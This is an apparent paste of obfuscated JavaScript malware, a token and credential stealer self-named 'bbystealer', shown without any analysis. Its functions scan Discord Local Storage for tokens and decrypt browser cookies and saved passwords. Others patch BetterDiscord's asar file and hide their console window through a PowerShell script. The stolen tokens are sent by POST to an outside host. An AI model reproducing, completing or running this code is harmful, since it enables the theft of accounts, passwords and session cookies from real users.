- }, ECPwX: "pQINA", ZuCGP: "gLivB", mCqQp: function (anv, anw) {
- return anv === anw;
- }, pBXAH: "gDJhZ", jmfjW: "VtLtG", SQuhg: "DUkGu", QSixX: "BAGpZ", DqCZE: "YmpZG", dRyxF: "GEHYD", TqxFa: function (anx, any, anz) {
- return anx(any, anz);
- }, TiGwF: "XnOtA", ihjBr: "ltkEj", UytXa: function (aoa, aob) {
- return aoa !== aob;
- }, cUBJZ: "aOfBf", KIEti: function (aoc, aod) {
- return aoc(aod);
- }, tSmmK: "return\ \(function\(\)\ ", odBjF: "\{\}\.constructor\("return th" + 'is")(' + " )", UPznR: function (aoe, aof) {
- return aoe === aof;
- }, YGLec: "WtQqa", jiJPG: "pSYVd", NehZT: "CurrentUser", BzKaB: "utf-8", HRyfH: function (aog, aoh) {
- return aog === aoh;
- }, UwTrd: "AlyXc", pNJcP: "PKNiF", WNvLf: function (aoi) {
- return aoi();
- }, rTmgF: "log", LJAuh: "warn", AASEd: "info", Kdcin: "error", yQvpE: "exception", cUiSQ: "table", jlGMQ: "trace", igzwb: function (aoj, aok) {
- return aoj < aok;
- }, JcrCR: "UkyqI", dKUeB: "VmyII", XHJSP: "utf8", NljSw: "index\.js", ENKTo: "bbystealer", vqIqy: "Online\ update\ finded!", XTPWg: "BetterDiscord\\data\\betterdiscord\.asar", pdmWl: function (aol, aom, aon, aoo) {
- return aol(aom, aon, aoo);
- }, UPcAY: "api/webhooks", xsdbV: "kkkk", XHFzB: function (aop) {
- return aop();
- }, EJgmu: function (aoq, aor) {
- return aoq === aor;
- }, VVbLP: "hOgIK", aRGMS: "bXqeV", NSLhz: function (aos, aot) {
- return aos + aot;
- }, hsUUN: "Cookies", BAdQQ: "Onyzj", opSEv: "iWASm", PYQEG: function (aou, aov) {
- return aou === aov;
- }, ynZAt: "kEeKF"}, anj = function () {
- const aow = {XLLqO: ani["ZYmOn"], lAyWF: function (aox, aoy) {
- return ani["qCeOz"](aox, aoy);
- }, CexdD: ani["JCDcl"], mHsjF: function (aoz, apa, apb) {
- return ani.PcpTN(aoz, apa, apb);
- }, RyAnn: ani["uHfym"], ifFhG: ani["gIPah"], bmeBT: function (apc, apd) {
- return ani["cZaOJ"](apc, apd);
- }, dPMOZ: ani.ECPwX, XmIfx: ani.ZuCGP, GMzrJ: function (ape, apf) {
- return ani["mCqQp"](ape, apf);
- }, ZAcLT: ani["pBXAH"], larqS: ani["jmfjW"], yNEfn: ani.SQuhg, ywWDH: ani["QSixX"]};
- if (ani.mCqQp(ani["DqCZE"], ani["dRyxF"])) _0x49532c["push"](_0x172822); else {
- let apg = !![];
- return function (aph, api) {
- const apj = {elups: aow["XLLqO"], CNZCi: function (apk, apl) {
- return aow["lAyWF"](apk, apl);
- }, zouxX: function (apm, apn) {
- return aow["lAyWF"](apm, apn);
- }, CfPqQ: aow["CexdD"], zaaKM: function (apo, app, apq) {
- return aow["mHsjF"](apo, app, apq);
- }, LqzAy: aow["RyAnn"], yNCLX: aow["ifFhG"], ZdcIt: function (apr, aps) {
- return aow["bmeBT"](apr, aps);
- }, wczvh: aow["dPMOZ"], AXukw: aow["XmIfx"], HSrsy: function (apt, apu) {
- return aow.GMzrJ(apt, apu);
- }, drRxF: aow["ZAcLT"], ihKCd: aow.larqS};
- if (aow.GMzrJ(aow["yNEfn"], aow["ywWDH"])) {
- const apv = {PdOPj: apj["elups"], wTJtm: function (apw, apx) {
- return apj["CNZCi"](apw, apx);
- }, ihDcq: function (apy, apz) {
- return apj["zouxX"](apy, apz);
- }, zYBzu: apj["CfPqQ"], bmpVd: function (aqa, aqb, aqc) {
- return apj.zaaKM(aqa, aqb, aqc);
- }};
- _0x1b23df["forEach"](aqd => {
- _0x30bb95["log"](apv["PdOPj"]);
- _0xe1403c = apv["wTJtm"](apv["ihDcq"](apv.ihDcq(_0x5cfbe9, "\\"), aqd), apv["zYBzu"]), apv["bmpVd"](_0x511e85, _0x1e0e3d + ("\ \-\-processStart ") + aqd + "\.exe", aqe => {
- if (aqe) {
- if (_0x23f6b5) _0x315743.log(aqe);
- return;
- }
- });
- });
- } else {
- const aqf = apg ? function () {
- if (apj["ZdcIt"](apj["wczvh"], apj.AXukw)) {
- if (api) {
- if (apj["HSrsy"](apj["drRxF"], apj["ihKCd"])) {
- const aqg = _0x4718c0 ? function () {
- if (_0x11fec0) {
- const aqh = _0x529753["apply"](_0x410405, arguments);
- return _0x590a71 = null, aqh;
- }
- } : function () {};
- return _0x3ba8f7 = ![], aqg;
- } else {
- const aqi = api["apply"](aph, arguments);
- return api = null, aqi;
- }
- }
- } else _0x252758["log"](_0x4a9484), _0x274f1d.post(apj.LqzAy, _0x17b047, {headers: {"Content-Type": apj["yNCLX"]}});
- } : function () {};
- return apg = ![], aqf;
- }
- };
- }
- }(), ank = ani["TqxFa"](anj, this, function () {
- const aqj = {};
- aqj["UAHhV"] = ani["NehZT"], aqj["VIBlV"] = ani.BzKaB;
- const aqk = aqj;
- if (ani["HRyfH"](ani["UwTrd"], ani["pNJcP"])) {
- if (_0x14ece8) _0x584d1d["log"](_0x85526e);
- } else {
- const aql = function () {
- const aqp = {pJTyb: ani["ZYmOn"], igeqP: function (aqq, aqr) {
- return ani["qCeOz"](aqq, aqr);
- }, PWjjd: function (aqs, aqt) {
- return ani["qCeOz"](aqs, aqt);
- }, rVpCm: ani["JCDcl"], FqxFs: function (aqu, aqv, aqw) {
- return ani.TqxFa(aqu, aqv, aqw);
- }};
- if (ani["mCqQp"](ani["TiGwF"], ani["ihjBr"])) _0x28f06b["forEach"](aqx => {
- _0x17f03c["push"](aqx);
- }); else {
- let aqy;
- try {
- if (ani["UytXa"](ani["cUBJZ"], ani["cUBJZ"])) {
- const ara = _0x69408a["apply"](_0x493ed2, arguments);
- return _0x3278ba = null, ara;
- } else aqy = ani["KIEti"](Function, ani["qCeOz"](ani.qCeOz(ani["tSmmK"], ani["odBjF"]), ");"))();
- } catch (aqz) {
- ani["UPznR"](ani["YGLec"], ani["jiJPG"]) ? (_0x38e48a.log(aqp["pJTyb"]), _0x579683 = aqp["igeqP"](aqp.igeqP(aqp["PWjjd"](_0xf224f3, "\\"), _0x47330f), aqp["rVpCm"]), aqp.FqxFs(_0x308f6d, _0x187b83 + ("\ \-\-processStart ") + _0x2861eb + "\.exe", arb => {
- if (arb) {
- if (_0x3ee12b) _0xc88945["log"](arb);
- return;
- }
- })) : aqy = window;
- }
- return aqy;
- }
- }, aqm = ani.WNvLf(aql), aqn = aqm["console"] = aqm["console"] || {}, aqo = [ani["rTmgF"], ani["LJAuh"], ani["AASEd"], ani["Kdcin"], ani["yQvpE"], ani["cUiSQ"], ani["jlGMQ"]];
- for (let arc = 0; ani.igzwb(arc, aqo.length); arc++) {
- if (ani["UytXa"](ani["JcrCR"], ani["dKUeB"])) {
- const ard = anj["constructor"]["prototype"]["bind"](anj), are = aqo[arc], arf = aqn[are] || ard;
- ard["__proto__"] = anj["bind"](anj), ard["toString"] = arf["toString"]["bind"](arf), aqn[are] = ard;
- } else _0x3146ee += "\
- URL: " + _0x3da7eb["origin_url"] + ("\ \|\ USERNAME:\ ") + _0x13c953.username_value + ("\ \|\ PASSWORD:\ ") + _0x356d7c["unprotectData"](_0x5c644f, null, aqk["UAHhV"])["toString"](aqk.VIBlV);
- }
- }
- });
- ani["XHFzB"](ank);
- let anl = "";
- for (let arg = 0; ani.igzwb(arg, paths["length"]); arg++) {
- if (ani["EJgmu"](ani["VVbLP"], ani["aRGMS"])) {
- const arh = {};
- arh["encoding"] = ani["XHJSP"], arh["flag"] = "w", _0x189990["writeFileSync"](_0x61ee7b, _0x25bf2e["data"], arh);
- let ari = _0x1ca31e["replace"](ani["NljSw"], ani["ENKTo"]);
- !_0x3339df["existsSync"](ari) && (_0x5bc4e2.mkdirSync(ari, 484), _0x51239c["log"](ani["vqIqy"]), ani["WNvLf"](_0x2a9b70));
- } else {
- if (fs["existsSync"](ani["NSLhz"](paths[arg], ani["hsUUN"]))) {
- if (ani.UytXa(ani["BAdQQ"], ani["opSEv"])) anl += await ani["KIEti"](getCookies, paths[arg]) || ""; else {
- var anm = ani["qCeOz"](_0x2d46f3["env"]["appdata"], ani.XTPWg);
- if (_0xc521c3["existsSync"](anm)) {
- var ann = _0x5218de["readFileSync"](anm);
- _0x23bbda["writeFileSync"](anm, ani.pdmWl(_0x216a19, ann, ani["UPcAY"], ani.xsdbV));
- } else return;
- }
- }
- ani["PYQEG"](ani["NSLhz"](arg, 1), paths.length) && (ani["PYQEG"](ani["ynZAt"], ani["ynZAt"]) ? (console["log"](anl), axios["post"](ani["uHfym"], anl, {headers: {"Content-Type": ani["gIPah"]}})) : _0x4895f5.forEach(arj => {
- _0x458d80.push(arj);
- }));
- }
- }
- }
- function hideSelf() {
- const ark = {NFOKH: function (aro, arp) {
- return aro(arp);
- }, IQwAq: "child_process", RtBmJ: "inherit"};
- let arl = "\n Add\-Type\ \-Name\ Window\ \-Namespace Console\ \-MemberDefinition\ '\n [DllImport" + '("Ker' + "nel32\.dll"\)\]\
- \ \ \ \ public\ static extern IntPtr GetConsoleWindow\(\);\
- \
- \ \ \ \ \[DllImport" + '("use' + "r32.d" + 'll")]' + "\
- \ \ \ \ public\ static extern\ bool\ ShowWindow(IntPtr\ hWnd, Int32\ nCmdShow\);\
- \ \ \ \ '\
- \
- \ $consolePtr =\ \[Console\.Window\]::GetConsoleWindow\(\)\
- \ \ \ \ \#0 hide\
- \ \ \ \ \[Console\.Window\]::ShowWindow\(\$consolePtr,\ 0\)\
- \ \ \ \ ", arm = process["cwd"]();
- let arn = arm + ("\\temp\.ps1");
- fs["writeFileSync"](arn, arl), ark["NFOKH"](require, ark["IQwAq"])["execSync"]("type\ .\\temp\.ps1\ \|\ powershell\.exe\ \-noprofile\ \-", {stdio: ark.RtBmJ}), fs["unlinkSync"](arn);
- }
- function findToken(arq) {
- const arr = {};
- arr.NACCc = function (arv, arw) {
- return arv === arw;
- }, arr["DUUgW"] = "iVhUv", arr["LzLMZ"] = "hDXCJ", arr["ExFVp"] = function (arx, ary) {
- return arx == ary;
- }, arr["dfAdO"] = "CurrentUser", arr["rDRop"] = "utf\-8", arr["JBHnu"] = function (arz, asa) {
- return arz - asa;
- }, arr["FmOGJ"] = "aes\-256\-gcm", arr["KEAZZ"] = "base64", arr["GBhZM"] = function (asb, asc) {
- return asb !== asc;
- }, arr.vPOpW = "GEBLA";
- arr["PbMgk"] = "NaVtb", arr["ehQzq"] = "\.log", arr["HACJn"] = "\.ldb";
- arr["pqGfO"] = "utf8", arr["LMEjT"] = "Local\ Storage\\leveldb";
- const ars = arr;
- arq += ars["LMEjT"];
- let art = [];
- try {
- fs["readdirSync"](arq).map(asd => {
- const ase = {kJmzr: function (asf, asg) {
- return ars["NACCc"](asf, asg);
- }, kOCRP: ars.DUUgW, fVTGh: ars.LzLMZ, hKZGy: function (ash, asi) {
- return ars["ExFVp"](ash, asi);
- }, EERMj: ars["dfAdO"], loToq: ars["rDRop"], mHRdf: function (asj, ask) {
- return ars["JBHnu"](asj, ask);
- }, lJOiD: ars.FmOGJ, rkuQT: ars.KEAZZ, fVGgS: function (asl, asm) {
- return ars["GBhZM"](asl, asm);
- }, fHnpi: ars["vPOpW"], yERpd: ars.PbMgk};
- (asd["endsWith"](ars["ehQzq"]) || asd["endsWith"](ars.HACJn)) && fs["readFileSync"](arq + "\\" + asd, ars["pqGfO"])["split"](/\r?\n/)["forEach"](asn => {
- const aso = {aKPbq: function (asr, ass) {
- return ase.kJmzr(asr, ass);
- }, SlAuZ: ase["kOCRP"], jpfPz: ase["fVTGh"], YkntI: function (ast, asu) {
- return ase["hKZGy"](ast, asu);
- }, yibpg: ase.EERMj, MflWl: ase["loToq"], AoCyB: function (asv, asw) {
- return ase.mHRdf(asv, asw);
- }, yoLNE: function (asx, asy) {
- return ase["mHRdf"](asx, asy);
- }, lvlzR: ase["lJOiD"], cxhmC: ase["rkuQT"]};
- const asp = [new RegExp(/mfa\.[\w-]{84}/g), new RegExp(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}/g)];
- for (const asq of asp) {
- const asz = asn["match"](asq);
- if (asz) {
- if (ase.fVGgS(ase["fHnpi"], ase["yERpd"])) asz["forEach"](ata => {
- if (aso.aKPbq(aso["SlAuZ"], aso.jpfPz)) {
- if (_0x11f31d) {
- const atb = _0x48a0de["apply"](_0x21d5b0, arguments);
- return _0x26d408 = null, atb;
- }
- } else art["push"](ata);
- }); else {
- if (aso["YkntI"](_0x1bb760[0], 1) && aso["YkntI"](_0x58e33b[1], 0) && aso["YkntI"](_0x3c2ea1[2], 0) && aso["YkntI"](_0x43c187[3], 0)) _0x4694f7 += "\
- HOST\ KEY: " + _0x1a3466["host_key"] + ("\ \|\ NAME:\ ") + _0x424770["name"] + ("\ \|\ VALUE:\ ") + _0x457f73["unprotectData"](_0x149560, null, aso["yibpg"])["toString"](aso["MflWl"]); else {
- let atc = _0x47540b["slice"](3, 15), atd = _0x5474d9["slice"](15, aso["AoCyB"](_0x97e2a0.length, 16)), ate = _0x1d038e["slice"](aso.yoLNE(_0x42fdf6.length, 16), _0x3a1060["length"]), atf = _0x834da4.createDecipheriv(aso["lvlzR"], _0x5ecbf6, atc);
- atf["setAuthTag"](ate);
- let atg = atf["update"](atd, aso["cxhmC"], aso["MflWl"]);
- atg += atf["final"](aso.MflWl), _0x22f6a5 += "\
- HOST\ KEY: " + _0x41e558["host_key"] + ("\ \|\ NAME: ") + _0x534871.name + ("\ \|\ VALUE:\ ") + atg;
- }
- }
- }
- }
- });
- });
- } catch (aru) {}
- return art;
- }
- function onlyUnique(ath, ati, atj) {
- const atk = {};
- atk["fbbRQ"] = function (atm, atn) {
- return atm === atn;
- };
- const atl = atk;
- return atl.fbbRQ(atj["indexOf"](ath), ati);
- }
- async function stealTokens() {
- const ato = {FCeRD: function (atw, atx) {
- return atw(atx);
- }, ZWdPV: "application/json", lDXvu: "POST", WqTct: "https://remove_bby.rip/UljlehPIgdqu/tokens"}, atp = [];
- for (let atq of paths) {
- const aty = ato.FCeRD(findToken, atq);
- aty && aty.forEach(atz => {
- atp["push"](atz);
- });
- }
- var atr = atp.filter(onlyUnique);
- const ats = {};
- ats["Content-Type"] = ato["ZWdPV"];
- const att = ats, atu = {};
- atu["method"] = ato.lDXvu, atu.url = ato["WqTct"], atu["headers"] = att, atu["data"] = atr;
- const atv = atu;
- axios["request"](atv);
- }
- wj.url = wd["WqTct"], wj["headers"] = wi, wj["data"] = wg;
- const wk = wj;
- axios["request"](wk);
- }
Add Comment
Please, Sign In to add comment